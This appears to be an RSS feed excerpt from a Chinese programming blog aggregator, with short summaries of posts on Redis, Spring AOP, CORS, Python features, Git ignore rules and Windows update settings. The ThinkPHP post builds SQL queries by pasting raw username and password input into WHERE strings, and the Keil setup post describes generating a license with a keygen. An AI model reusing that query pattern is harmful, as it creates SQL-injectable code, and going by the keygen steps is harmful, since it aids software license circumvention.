      <title>【Redis】Redis如何保证和MySQL数据库的数据一致性（带你一文了解）</title>
      <link>https://bchobby.github.io/posts/25c5b97616004d5870bdda1695ef9217/</link>
      <pubDate>Sat, 09 Sep 2023 20:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25c5b97616004d5870bdda1695ef9217/</guid>
      <description>目录&#xA;方法一：采用事务&#xA;方法二：订阅Mysql的Binlog文件(可借助Canal来进行)&#xA;方法三：基于消息队列的同步方案&#xA;方法一：采用事务 MySQL 支持事务，在需要保证一致性的操作中使用事务。通过将 Redis 和 MySQL 操作放在同一个事务中，并使用 ACID（原子性、一致性、隔离性和持久性）的特性，可以保证 Redis 和 MySQL 数据的一致性。&#xA;方法二：订阅Mysql的Binlog文件(可借助Canal来进行) CanalServer会伪装成MysqlServer从库，去订阅MysqlServer主库的Binlog文件&#xA;Canal启动的时候会配置对应的消息MQ(RabbitMQ, RocketMQ, Kafka), 监听到Binlog文件有变化是，会把变化的sql语句转换成json格式，并作为消息内容发送到MQ中&#xA;项目中只要监听对应MQ，就能拿到Binlog改动的内容，Json数据中有明确的操作类型(CURD), 以及对应的数据。把对应数据同步到redis即可&#xA;缺点1：canal订阅Binlog的整个操作过程是单线程的，所以面临超高并发的情况下，性能可能不太出色。当然可以部署多个Canal 与 多个消费者，但是要注意消息重复消费问题，做好幂等性校验&#xA;优点1：即使人为改数据库，也会监听到，并且也会同步&#xA;优点2：异步同步，不会对接口返回有格外延迟&#xA;方法三：基于消息队列的同步方案 基于消息队列的同步方案，通常是将 MySQL 的更新操作通过消息队列发送到一个或多个 Redis 服务器，然后 Redis 服务器根据消息队列中的消息更新缓存中的数据。这种方案相对较为灵活，可以根据实际需求选择合适的消息队列，比如 RabbitMQ、Kafka、RocketMQ 等。 具体实现可以分为以下步骤：&#xA;配置消息队列，比如 RabbitMQ。可以参考 RabbitMQ 官方文档 进行配置。&#xA;在 MySQL 数据库中配置触发器，将更新操作通过消息队列发送出去。以下是一个 MySQL 触发器的示例代码：&#xA;CREATE TRIGGER sync_data AFTER INSERT ON table1 FOR EACH ROW BEGIN INSERT INTO rabbitmq_queue (message) VALUES (NEW.message); END; 上述代码将在 table1 表中插入新数据时，向名为 rabbitmq_queue 的消息队列中插入一条消息，消息内容为 NEW.</description>
    </item>
    <item>
      <title>IDEA配置web运行环境巨详细操作</title>
      <link>https://bchobby.github.io/posts/12f4c201af3f711614afabb7791d7091/</link>
      <pubDate>Sat, 09 Sep 2023 18:42:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12f4c201af3f711614afabb7791d7091/</guid>
      <description>首先，创建java工程。我之前已经创建工程了，所以现在还停留在之前工程的界面，要新建java工程，先在之前工程的左上角点击File，再点击New，接着点击Project&#xA;出现New Project界面，首先把项目名字Name改一下，指定一下项目的路径（这两个都是自定义，不同人有不同的方式），下面的几项一般都不需要修改了，如果jdk没指定路径的话，需要指定一下，方法可以看我前面的文章。最后，点击Create，至此，工程创建完成。&#xA;接下来点击项目名称，右键，寻找add framework support，一般在倒数第四个，然而我这里并没有找到，大家可能也会遇到这问题。这个问题我已经在之前的文章里写了如何解决，这里就不赘述了。&#xA;文章链接如下：&#xA;http://t.csdn.cn/jj67n&#xA;出现页面后，勾选Web Application(4.0)，然后点击OK进行确认 。&#xA;可以看到左测出现之前没有的web模块：&#xA;接着在WEB-INF下面新建两个目录，一个是classes，另一个是lib。&#xA;首先新建classes，点击WEB-INF，然后点击New，接着点击Directory。&#xA;输入目录名:classes，回车。&#xA;lib的创建和classes一样，大家照着classes的创建方法操作就行，最后名字改为lib。&#xA;接着，我们要往lib放一些配置文件，在次之前需要大家去下载Tomcat，下载之后解压就行，记住文件路径，别的操作暂时不需要。&#xA;解压文件之后点击进入，接着点击进入lib文件夹。&#xA;我们可以看到有很多文件，我们需要做的是将其中的jsp-api.jar和servlet-api.jar复制进项目文件夹里我们新建的lib。&#xA;首先，对jsp-api.jar进行复制，复制之后点击lib，右键，点击Paste。&#xA;会出现这样一个页面，点击OK。&#xA;servlet-api.jar的操作相同，不再赘述。&#xA;接下来对项目进行相应的配置，点击File，再点击Project Structure：&#xA;出现这样一个界面：&#xA;首先，配置Modules模块，先点击Modules，再点击Paths&#xA;选择第二项，接下来将classes文件的路径放在Output path处，Text Output path也一样，两者路径相同。（注意：大家文件的路径不一样，不要照着我写一模一样，除非路径和我的一样，大家记得关注自己文件存放的路径）&#xA;接下来点击Libraries模块，再点击+，接着点击Java&#xA;指定lib目录所在位置，点击OK&#xA;点击OK&#xA;点击Artifacts模块，接着点击Fix...&#xA;点击第一项：&#xA;先点击Apply，再点击OK&#xA;至此web已经配置完成，接下来是和tomcat交互的配置。&#xA;找到Current File，点击，接下来点击第一项：&#xA;点击+，接着找到TomEE Server，点击Local&#xA;点击Condigure...，再点击TomeEE Home右侧的文件夹标识，找到tomcat的位置&#xA;找到位置后点击，接着点击OK进行确认&#xA;再次点击确认&#xA;将名字改为Tomcat&#xA;找到jre的路径，jdk包含jre，找不到jre的话，找jdk就行&#xA;点击第二个选项卡，再点击+，接着点击第一个选项：&#xA;将后面多余的字母删掉，此处是将_war_exploded删掉&#xA;变成下面这样：&#xA;点击回到第一个模块，点击On &#39;update&#39; action选项卡，点击Redeploy：&#xA;接着点击On frame deactivation选项卡，点击最后一项。&#xA;最后咱们需要配置一下指定浏览器，当然不配置也行，我就不介绍了，如果大家需要的话，可以在下面评论，我后来再介绍。（如果不需要我之后就不再写了）&#xA;先点击Apply，再点击OK，至此配置完成。&#xA;接着我们点击右上方的绿色小虫子启动：&#xA;等待一段时间，可以看到跳出一个网页，这说明我们配置成功了，网站启动了。&#xA;为了让大家体会第一次运行网站的快乐，我们在index.jsp里写一些html语句（下面的图是本来的）&#xA;修改如下：&#xA;刷新网站，可以看到：&#xA;我们到这里就成功运行了一个自己搭建的网站，虽然很简单，但是&#34;不积跬步无以至千里，不积小流无以成江海&#34;，一步步来，咱们总有一天能搭建出一个属于我们自己的酷炫网站。&#xA;如果觉得有用，别忘了关注收藏点赞哟，如果效果还行的话，我再出下期。</description>
    </item>
    <item>
      <title>php将数组中的最后一个元素放到第一个</title>
      <link>https://bchobby.github.io/posts/54d36ecfd63cae58dee27ac72dee144a/</link>
      <pubDate>Sat, 09 Sep 2023 17:03:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54d36ecfd63cae58dee27ac72dee144a/</guid>
      <description>array_unshift($firstStepResult, array_pop($firstStepResult)); 转换之后</description>
    </item>
    <item>
      <title>WebServer 解析HTTP 响应报文</title>
      <link>https://bchobby.github.io/posts/74a1c7963a8eb28f76fa11fc92c0834e/</link>
      <pubDate>Sat, 09 Sep 2023 15:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a1c7963a8eb28f76fa11fc92c0834e/</guid>
      <description>一、基础API部分，介绍stat、mmap、iovec、writev、va_list 1.1 stat​ 作用：获取文件信息&#xA;#include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; // 获取文件属性，存储在statbuf中 int stat(const char *pathname, struct stat *statbuf); struct stat { mode_t st_mode; /* 文件类型和权限 */ off_t st_size; /* 文件大小，字节数 */ }; 返回值：成功返回0，失败返回-1；参数：文件路径（名），struct stat 类型的结构体 struct stat 结构体详解：&#xA;struct stat { dev_t st_dev; /* ID of device containing file */文件使用的设备号 ino_t st_ino; /* inode number */ 索引节点号 mode_t st_mode; /* protection */ 文件对应的模式，文件，目录等 nlink_t st_nlink; /* number of hard links */ 文件的硬连接数 uid_t st_uid; /* user ID of owner */ 所有者用户识别号 gid_t st_gid; /* group ID of owner */ 组识别号 dev_t st_rdev; /* device ID (if special file) */ 设备文件的设备号 off_t st_size; /* total size, in bytes */ 以字节为单位的文件容量 blksize_t st_blksize; /* blocksize for file system I/O */ 包含该文件的磁盘块的大小 blkcnt_t st_blocks; /* number of 512B blocks allocated */ 该文件所占的磁盘块 time_t st_atime; /* time of last access */ 最后一次访问该文件的时间 time_t st_mtime; /* time of last modification */ /最后一次修改该文件的时间 time_t st_ctime; /* time of last status change */ 最后一次改变该文件状态的时间 }; stat结构体中的st_mode 则定义了下列数种情况：</description>
    </item>
    <item>
      <title>矩阵的求导运算</title>
      <link>https://bchobby.github.io/posts/09accec319a25ab5e9486ca75907be7b/</link>
      <pubDate>Sat, 09 Sep 2023 13:37:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09accec319a25ab5e9486ca75907be7b/</guid>
      <description> </description>
    </item>
    <item>
      <title>python3.8,3.9,3.10,3.11特性比较</title>
      <link>https://bchobby.github.io/posts/04b1ea83d2f6b388494f10d6eeeebb28/</link>
      <pubDate>Sat, 09 Sep 2023 13:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04b1ea83d2f6b388494f10d6eeeebb28/</guid>
      <description>最近计划将python2迁移到python3，由于本人学习时用的3.7版本，所以仅作大于3.7版本的比较。&#xA;3.8 文档地址：python3.8&#xA;新增赋值表达式:=（海象运算符） 作用：避免重复调用，使代码更加简洁。PS：别当GO写，它不支持声明并赋值变量&#xA;import re # 3.8 if match := re.search(r&#34;python&#34;, &#34;I love python! \r\n And python love me! \r\n&#34;, re.I | re.M | re.DOTALL): print(match.group()) # 3.7 match = re.search(r&#34;python&#34;, &#34;I love python! \r\n And python love me! \r\n&#34;, re.I | re.M | re.DOTALL) if match: print(match.group()) 仅限位置形参 作用：&#xA;新增了一个函数形参语法 / 用来指明某些函数形参必须使用仅限位置而非关键字参数的形式。/区分了前后用什么传参方式 # *号代表e,f必须用键值 # /号代表a,b必须用位置 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) # 合法调用 f(10, 20, 30, d=40, e=50, f=60) # 不合法调用 f(10, b=20, c=30, d=40, e=50, f=60) # b不能是关键词参数 f(10, 20, 30, 40, 50, f=60) # e必须是关键字参数 3.</description>
    </item>
    <item>
      <title>vscode终端字体放大</title>
      <link>https://bchobby.github.io/posts/1b75584a861676ab4a3ebcfea69cffa0/</link>
      <pubDate>Sat, 09 Sep 2023 11:53:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b75584a861676ab4a3ebcfea69cffa0/</guid>
      <description>左下角设置按钮，选Settings，输入font size，&#xA;往下翻，有一个是 Terminal&amp;gt;Integrated: Font size，&#xA;改数值即可</description>
    </item>
    <item>
      <title>SpringAOP面向切面编程</title>
      <link>https://bchobby.github.io/posts/4164665d9aa3f3f423053fa8e3b1aaf9/</link>
      <pubDate>Sat, 09 Sep 2023 10:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4164665d9aa3f3f423053fa8e3b1aaf9/</guid>
      <description>文章目录 一. AOP是什么？二. AOP相关概念三. SpringAOP的简单演示四. SpringAOP实现原理 一. AOP是什么？ AOP（Aspect Oriented Programming）：面向切面编程，它是一种编程思想，是对某一类事情的集中处理；它能够在不改原有代码的前提下对其功能进行增强，就是你代码已经写好了，使用 AOP 可以在不改动代码的前提下增强功能，如对于一个功能，可以基于 AOP 完成对该功能执行效率的计算，能够在功能正式执行前或者执行后，添加其他的功能执行，能够在该功能发生异常后，对其异常进行处理。&#xA;想象一个场景，我们在做后台系统时，除了登录和注册等几个功能不需要做用户登录验证之外，其他几乎所有页面都需要先验证用户登录的状态，那这个时候我们要怎么处理呢？&#xA;如果不使用 AOP，我们就需要在每一个 Controller 层都写一遍验证用户是否已经登录的逻辑，如果你实现的功能有很多，并且这些功能都需要进行登录验证，那你就需要编写大量重复的代码， 这样代码修改和维护的成本也会很高。&#xA;但如果使用 AOP，在进入核心的业务代码之前会做统一的一个拦截，去验证用户是否登录，验证通过的就可以继续请求，此时就不需要每一处都写相同的用户登录逻辑了。&#xA;除了登录验证功能之外，还有很多功能也可以使用 AOP，比如：&#xA;统一日志记录与持久化。统一方法执行时间统计。统一数据返回格式。统一处理程序中的异常。统一事务的开启与提交。 也就是说使用 AOP 可以扩充多个对象的某个能力，所以 AOP 可以说是 OOP （Object Oriented Programming，面向对象编程）的补充和完善，它可以将横切关注点从应用程序的主业务逻辑中分离出来，使得这些关注点可以集中处理，从而提高代码复用性、可维护性和系统可扩展性。&#xA;SpringAOP 是一个框架，提供了对 AOP 的实现，与 IOC 与 DI 的关系类似。&#xA;二. AOP相关概念 切面（Aspect）–&amp;gt; 类：某一方面的具体内容处理（AOP实现的某个功能的集合）就是一个切面，由切点（Pointcut）和通知（Advice）组成 ；比如用户登录判断就是一个切面（接口对于登录权限的校验）。切点（Pointcut）–&amp;gt;方法：定义拦截规则；比如切面对于哪些接口需要进行判断拦截。连接点（Joinpoint）：所有可能触发切点的点就是连接点（被这个切面所处理的点）。通知（方法的具体实现）：执行 AO P业务（具体需要执行的拦截方法）。 在 Spring 切面类中，可以在方法上使用以下注解，会设置方法为通知方法，在满足条件后会调用对应满足条件的方法：&#xA;前置通知使用 @Before∶通知方法会在目标方法调用之前执行。后置通知使用 @After∶通知方法会在目标方法返回或者抛出异常后调用。返回之后通知使用 @AfterReturning∶ 通知方法会在目标方法返回后调用。抛异常后通知使用 @AfterThrowing∶ 通知方法会在目标方法抛出异常后调用。环绕通知使用 @Around∶通知包裹了被通知的方法，在被通知的方法通知之前和调用之后执行自定义的行为。 AOP 整个组成部分的概念如下图所示，以多个⻚⾯都要访问⽤户登录权限为例：&#xA;三. SpringAOP的简单演示 1️⃣第一步，添加 Spring Boot AOP 依赖支持。</description>
    </item>
    <item>
      <title>VSCode&#43;Keil5&#43;cubeMX开发环境搭建</title>
      <link>https://bchobby.github.io/posts/38b5c51cf105808f5a4062e772de1ab5/</link>
      <pubDate>Fri, 08 Sep 2023 23:49:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38b5c51cf105808f5a4062e772de1ab5/</guid>
      <description>软件下载 1、VSCode下载 下载链接：&#xA;Download Visual Studio Code - Mac, Linux, Windows&#xA;VSCode官网 这里是VSCODE官网的下载界面，选择自己需要的配置及版本即可（一般情况下点击Windows即可）。&#xA;官网下载速度较慢，所以这里推荐一个新的下载地址：VSCodeUserSetup-x64-1.54.2.exe - 蓝奏云&#xA;一般点击普通下载就可以了。&#xA;2、Keil下载 下载链接：Keil Product Downloads&#xA;Keil官网 3、STM32CubeMX下载 下载链接：STM32CubeMX - STM32Cube initialization code generator - STMicroelectronics&#xA;STM32CubeMX官网 4、百度网盘下载 下载链接：https://pan.baidu.com/s/1g0nE2yQiRYioQ_4IjLctbA 提取码：ykk8&#xA;注意：网盘失效可联系QQ获取下载链接：3501969901&#xA;软件的安装及搭建 为了方便管理，现在任意一个盘（不推荐C盘）新建一个文件节夹，用于管理安装的所有文件。&#xA;1、VS Code安装 （这里以下载好的百度网盘文件为例）&#xA;第一步：打开文件&#xA;第二步：安装&#xA;2、Keil安装 （这里以下载好的百度网盘文件为例）&#xA;第一步:打开文件&#xA;第二步：安装软件&#xA;下面会弹出在线安装，我们一般采用离线安装的方式，所以都×掉。&#xA;3、STM32CubeMX安装 （这里以下载好的百度网盘文件为例）&#xA;第一步：打开文件&#xA;第二步：安装&#xA;环境配置 Keil环境配置 1、打开License生成工具，复制CID码，生成License Key 第一步：打开文件&#xA;第二步：打开（建议将电脑静音）&#xA;第三步：打开Keil（以管理员身份运行），打开后X掉在线安装界面，然后进行如下操作&#xA;第四步：返回到Keygen&#xA;第五步：返回keil5&#xA;2、安装固件库/支持包 （以网盘下载好的支持包为例）&#xA;网站下载链接：Arm Keil | Devices&#xA;第一步：打开文件&#xA;第二步：安装软件</description>
    </item>
    <item>
      <title>thinkPhp5返回某些指定字段</title>
      <link>https://bchobby.github.io/posts/965d6796aec30ba940fe6237a93c461e/</link>
      <pubDate>Fri, 08 Sep 2023 22:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/965d6796aec30ba940fe6237a93c461e/</guid>
      <description> //去除掉密码 $db = new UserModel(); $result = $db-&amp;gt;field(&#39;password&#39;,true)-&amp;gt;where(&#34;username=&#39;{$params[&#39;username&#39;]}&#39; AND password=&#39;{$params[&#39;password&#39;]}&#39;&#34;)-&amp;gt;find(); 或者指定要的字段的数组 $db = new UserModel(); $result = $db-&amp;gt;field([&#39;username&#39;,&#39;create_time&#39;])-&amp;gt;where(&#34;username=&#39;{$params[&#39;username&#39;]}&#39; AND password=&#39;{$params[&#39;password&#39;]}&#39;&#34;)-&amp;gt;find(); 查询符合条件的多条数据&#xA;$db2 = new RoleRightModel(); $result2 = $db2-&amp;gt;field(&#39;right_id&#39;)-&amp;gt;where(&#39;role_id&#39;,1)-&amp;gt;select(); </description>
    </item>
    <item>
      <title>光伏并网逆变器低电压穿越MATLAB仿真模型</title>
      <link>https://bchobby.github.io/posts/9a25a411d61cd1ab8ae21556c1d94459/</link>
      <pubDate>Fri, 08 Sep 2023 22:38:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a25a411d61cd1ab8ae21556c1d94459/</guid>
      <description>完整资源请查看主页置顶博客（专享优惠）&#xA;使用MATLAB 2017b搭建&#xA;光伏逆变器低电压穿越仿真模型，boost加NPC拓扑结构，基于MATLAB/Simulink建模仿真。具备中点平衡SVPWM控制，正负序分离控制，pll，可进行低电压穿越仿真。&#xA;控制结构完整，波形完美！！&#xA;主体模块：&#xA;PV Array模块&#xA;boost模块&#xA;inverter模块&#xA;控制模块&#xA;扰动设置：&#xA;输出波形&#xA;%%%%%%%%%%&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;windows.h&amp;gt;&#xA;int main()&#xA;{&#xA;double x, y, a;&#xA;for (y = 1.5; y &amp;gt; -1.5; y -= 0.1)&#xA;{&#xA;for (x = -1.5; x &amp;lt; 1.5; x += 0.05)&#xA;{&#xA;a = x * x + y * y - 1;&#xA;if (a * a * a - x * x * y * y * y &amp;lt;= 0)</description>
    </item>
    <item>
      <title>基于webjava的宠物救助领养系统的设计与实现</title>
      <link>https://bchobby.github.io/posts/9751932709208231f3edcad66563f558/</link>
      <pubDate>Fri, 08 Sep 2023 17:57:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9751932709208231f3edcad66563f558/</guid>
      <description>临近学期结束，还是毕业设计，你还在苦苦思考该怎么做或是卡bug在了哪一步等等。这里，你想解决的问题，可以私信我，我上线后看到会回复的~代码太多就不一一往上po啦。&#xA;原始SpringBoot、Web以及HTML+CSS+JS页面设计, web大学生网页毕设或者平时码的一个平面html设计作业源码等等都可以参考得到解决。&#xA;使用：IDEA、Bootstrap、C、Session、jdk、MYSQL、HTML、CSS、JS&#xA;以宠物救助领养系统来举例：&#xA;分为前端页面和管理系统 ：&#xA;系统有三种用户，分别为游客、注册/登录用户、管理员&#xA;游客只可以查看宠物照片；&#xA;注册/登录用户可以进行评论、发帖、申请领养等功能；&#xA;管理员主要的权限是管理用户，审核用户的评论、帖子，修改宠物的信息等；&#xA;前端页面展示：&#xA;注册、登录&#xA;前端主页展示：&#xA;管理系统管理员页面：</description>
    </item>
    <item>
      <title>浏览器跨域问题</title>
      <link>https://bchobby.github.io/posts/cb1eab6c00291c50a4e5e8d1300cebcd/</link>
      <pubDate>Fri, 08 Sep 2023 17:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb1eab6c00291c50a4e5e8d1300cebcd/</guid>
      <description> 文章目录 什么是跨域跨域的原理跨域出现的场景跨域的解决 什么是跨域 违背同源策略就是跨域。&#xA;同源策略: 网页的url 和 该网页请求的url 的协议、域名、端口必须保持一致。&#xA;协议、域名、端口必须保持一致.&#xA;同源策略存在的原因: 保护用户隐私和防范网络攻击(https://editor.csdn.net/md?not_checkout=1&amp;amp;spm=1011.2415.3001.6217&amp;amp;articleId=132763789)&#xA;即如果网页请求的url 和 网页的url 的协议、域名、端口任意一项不同就是跨域。&#xA;跨域的原理 跨域是请求发出去了，服务器接收并返回了结果，只是浏览器没有接收响应结果。&#xA;跨域出现的场景 html中的跨域：图像加载（img的src，background的url）、脚本引用（script的src）。但是通过这些标签访问的资源虽然即使是跨域资源，但浏览器仍然会允许资源的加载和显示。—— jsonp的原理windows跨域：window.open(”跳转的地址“)，当跳转的地址和项目的地址不满足同源策略的时候可能会出现跨域问题。js中的跨域：XML请求（XMLHttpRequest），XMLHttpRequest是一种常见的通过 JavaScript 发起跨域请求的方式。浏览器会基于同源策略对XMLHttpRequest发起的跨域请求进行限制。 —— 最常见的形式 跨域的解决 分上面三种情况分别解决&#xA;html中的跨域：html中的跨域浏览器并不会限制，所以不用处理windows跨域： windows跳转出现的跨域问题可以使用rel=&#34;noopener noreferrer&#34; 属性进行解决 window.open(&#34;https://www.example.com&#34;, &#34;_blank&#34;, &#34;rel=noopener,noreferrer&#34;); 这个属性指示浏览器不要在打开的新窗口中传递引用到原始页面，从而限制了对原始页面的访问，从而不会出现跨域问题。&#xA;使用服务器中间页：创建一个位于自己域名下的服务器中间页，该中间页作为跳转页，用于将用户重定向到目标页面。CORS方式（下面说） js中的跨域：一般说的就是XML跨域（ajax跨域） jsonp方式解决——利用script标签的跨域不限制性&#xA;前端需要定义函数，而且后端需要调用该函数&#xA;jsonp只能解决GET请求跨域，所以jsonp请求很少用CORS方式解决&#xA;CORS通过设置响应头来实现跨域请求，由后端人员添加响应头 response.setHeader(&#39;Access-Control-Allow-Origin&#39;,&#39;*&#39;); 浏览器一看到后端携带的响应头就不拦截数据了，就可以实现跨域请求。&#xA;造成的问题是任何人都可以向该后端要数据，是不安全的。&#xA;(可以通过使用浏览器的开发者工具来查看HTTP响应头部中是否包含Access-Control-Allow-Origin字段来判断该资源是否设置了Access-Control-Allow-Origin共跨域使用)&#xA;jsonp和CORS方法的使用详见：https://blog.csdn.net/mantou_riji/article/details/124767753?ydreferer=aHR0cHM6Ly9tcC5jc2RuLm5ldC9tcF9ibG9nL21hbmFnZS9hcnRpY2xlP3NwbT0xMDAxLjIxMDEuMzAwMS41NDQ4&#xA;最后一种解决方法就是代理服务器。&#xA;代理服务器的原理：&#xA;设置一个代理服务器，它的协议名、主机名、端口号和前端页面的一模一样，这样前端访问该代理服务器就没有跨域问题了。&#xA;当该代理服务器收到前端的请求，再向其他服务器发送该请求，获取数据，之后将数据返回给前端。&#xA;（服务器之间不是通过ajax请求发送信息自然也没有跨域这个问题了）&#xA;代理服务器的实现： nginx实现代理服务器： niginx配置代理转发的文件，当用户访问这个网址的时候就将代理进行转发node实现代理服务器：。。。如果是vue项目直接配置vue.config.js：&#xA;配置代理服务器需要对vue.config.js做如下配置： module.exports = { devServer: { // 这里配置的是向哪台服务器发送请求 // （代理服务器的地址不用管他会自动配置） proxy: &#39;协议名://主机名:端口号&#39; } } </description>
    </item>
    <item>
      <title>ntpd 和ntpdate 的区别</title>
      <link>https://bchobby.github.io/posts/71665716f6e1285d18c52812a65c0a36/</link>
      <pubDate>Fri, 08 Sep 2023 17:36:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71665716f6e1285d18c52812a65c0a36/</guid>
      <description>ntpd 和 ntpdate 都是用于进行网络时间同步的工具，但在功能和使用方式上有所不同。&#xA;ntpd（Network Time Protocol daemon）是 NTP 守护进程，用于在计算机网络中持续同步系统时钟与全球标准时间。ntpd 可以在计算机启动时自动启动，并通过与外部 NTP 服务器进行通信来获取时间同步信息并进行时间调整。它可以使用配置文件（例如 /etc/ntp.conf）指定要使用的 NTP 服务器和其他参数，并提供许多高级特性，例如选择最佳时间源、跟踪时钟漂移等。ntpd 适合用于需要高精度和长期稳定的时间同步场合。&#xA;ntpdate 是一个简单的命令行工具，可以手动或自动同步系统时钟。它是一个单次工具，即当执行完后，它就会停止，并将系统时间设置为指定的时间。ntpdate 可以从指定的 NTP 服务器获取时间信息，然后将系统时间调整到与该服务器时间尽可能接近的状态。ntpdate 适合用于需要手动同步时间或在计划任务中使用的场合。&#xA;ntpd 适合长期稳定的时间同步需求，而 ntpdate 更适合在需要手动控制时间同步或进行一次性同步的场合。</description>
    </item>
    <item>
      <title>使用多线程监听模型训练过程中实际显存占用nvidia-smi</title>
      <link>https://bchobby.github.io/posts/f2078d6bd26a851d4faeacdcc4551ae8/</link>
      <pubDate>Fri, 08 Sep 2023 16:46:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2078d6bd26a851d4faeacdcc4551ae8/</guid>
      <description>在使用torch.cuda.max_allocated_memory时只能返回torch tensor占用显存大小，需要加上模型的大小，而模型的加载大小也不是单纯的model文件夹的大小，此时只能使用watch -n 0.1 nvidia-smi的指令进行人肉监听。&#xA;除此外，TRT等运行时也不支持torch.cuda的方法。&#xA;这里我开了个线程用于监听内存。&#xA;import nvidia_smi from threading import Thread from multiprocessing import Process import time class Monitor(Thread): def __init__(self, delay, index): super(Monitor, self).__init__() self.stopped = False self.index=index self.delay = delay # Time between calls to nvidia-smi # st mem nvidia_smi.nvmlInit() handle = nvidia_smi.nvmlDeviceGetHandleByIndex(index) info = nvidia_smi.nvmlDeviceGetMemoryInfo(handle) self.st_mem=info.used print( &#34;start used memory is {} GiB&#34;.format(info.used* 1.0 / 1024**3)) nvidia_smi.nvmlShutdown() #st_end self.max_mem=0 time.sleep(self.delay) self.start() def run(self): while not self.</description>
    </item>
    <item>
      <title>关闭win10自动更新四种方法 永久关闭win10自动更新教程</title>
      <link>https://bchobby.github.io/posts/4f8d8108cef2a15084af43885e8b7959/</link>
      <pubDate>Fri, 08 Sep 2023 14:45:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f8d8108cef2a15084af43885e8b7959/</guid>
      <description>方法一：服务中关闭Win10自动更新&#xA;1、首先按下“win+R”开启运行功能，然后输入“services.msc”并点击确定;&#xA;2、随后找到“Windows Update”并双击;&#xA;3、重启电脑即可完成设置。&#xA;方法二：设置中关闭win10自动更新&#xA;1、打开windows更新&#xA;2、点击“高级选项”&#xA;3、重启电脑即可完成设置。&#xA;方法三：组策略关闭Win10自动更新服务&#xA;1、首先在WIN10电脑中运行输入gpedit.msc点击确定，如下图所示：&#xA;2、然后点击计算机配置里的管理模板，如下图所示：&#xA;3、接下来点击管理模板下面的 Windows 组件，如下图所示：&#xA;4、然后找到Windows 更新并点击进去，如下图所示&#xA;6、最后点击左上角的“已禁用”功能就彻底关闭win10自动更新了，如下图所示：&#xA;7、重启电脑即可完成设置。&#xA;方法四：注册表中关闭Win10自动更新&#xA;1、为了防止Win10自动更新还会死灰复燃，我们还需要在注册表设置中巩固一下。首先使用 Win + R 组合快捷键，打开运行对话框，然后输入命名 regedit，然后点击下方的「 确定 」打开注册表，如图所示。&#xA;2、在注册表设置中，找到并定位到 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc]。然后在右侧找到“Start”键，右键点击修改，把start值改成16进制，值改为“4”，然后点击「 确定 」保存数据，如图所示。&#xA;3、继续在右侧找到“FailureActions”键，右键点击修改该键的二进制数据，将“0010”、“0018”行的左起第5个数值由原来的“01”改为“00”，完成后，点击下方的“确定”即可，如图所示。&#xA;4、重启电脑即可完成设置。&#xA;以上的全部内容就是今天小编给大家带来的四种可以有效的关闭win10自动更新的方法，用户可以自由的进行选择，选择最适合自己的办法来操作就好，希望能够帮助到大家。</description>
    </item>
    <item>
      <title>Git忽略文件的几种方法，以及.gitignore文件的忽略规则</title>
      <link>https://bchobby.github.io/posts/0ab72bc4fbae06b03cf554b72db8215d/</link>
      <pubDate>Fri, 08 Sep 2023 12:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ab72bc4fbae06b03cf554b72db8215d/</guid>
      <description>目录 .gitignore文件Git忽略规则以及优先级.gitignore文件忽略规则常用匹配示例： 有三种方法可以实现忽略Git中不想提交的文件。1、在Git项目中定义 .gitignore 文件（优先级最高，推荐！）2、在Git项目的设置中指定排除文件3、定义Git全局的 .gitignore 文件（个人使用方便，但是团队的话不适用，因为是在自己电脑设置的全局）如何检查自己写的ignore规则是否有效？gitignore规则不生效 .gitignore文件 在使用Git的过程中，我们喜欢有的文件比如日志，临时文件，编译的中间文件等不要提交到代码仓库，这时就要设置相应的忽略规则，来忽略这些文件的提交。&#xA;注意：如果你创建.gitignore文件之前就push了某一文件，那么即使你在.gitignore文件中写入过滤该文件的规则，该规则也不会起作用，git仍然会对该文件进行版本管理。&#xA;Git忽略规则以及优先级 详细的忽略规则可以参考官方英文文档。&#xA;在 .gitingore 文件中，每一行指定一个忽略规则，Git 检查忽略规则的时候有多个来源，它的优先级如下（由高到低）：&#xA;从命令行中读取可用的忽略规则当前目录定义的规则父级目录定义的规则，依次递推，目录结构较高的.gitignore文件被较近的.gitignore文件中相同的配置所覆盖.git/info/exclude文件中定义的规则core.excludesfile中定义的全局规则 .gitignore文件忽略规则 空格不匹配任意文件，可作为分隔符，方便阅读。#用于注释，\表示转义（如需使用实体\，则要加引号&#34;\&#34;）。*可以匹配任何字符（0或多个）。?可以匹配单个字符。（不可以匹配/）/用于分隔目录： 当/在开头时，表示从.gitignore文件所在的根目录开始匹配。当/在末尾时，只匹配目录及该目录下面的全部内容，否则同名的目录和文件都将匹配。 !开头的模式标识否定，该文件将会再次被包含，如果排除了该文件的父级目录，则使用!也不会再次被包含。[]通常用于匹配一个字符列表，如：a[mn]z可匹配amz和anz。**用于匹配多级目录，如a/**/b可匹配a/b，a/x/b，a/x/y/b。&#xA;注意：git 对于 .gitignore配置文件是按行从上到下进行规则匹配的。 常用匹配示例： #: 表示此为注释,将被Git忽略。*:表示忽略所有。*/:表示忽略所有目录。1.txt: 忽略任意目录（当前目录即根目录及其子文件夹）下的1.txt的文件夹或同名文件，例如1.txt，/pojo/1.txt，/pojo/a/1.txt，若是文件夹则该文件夹下的所有内容都会被忽略。*.txt: 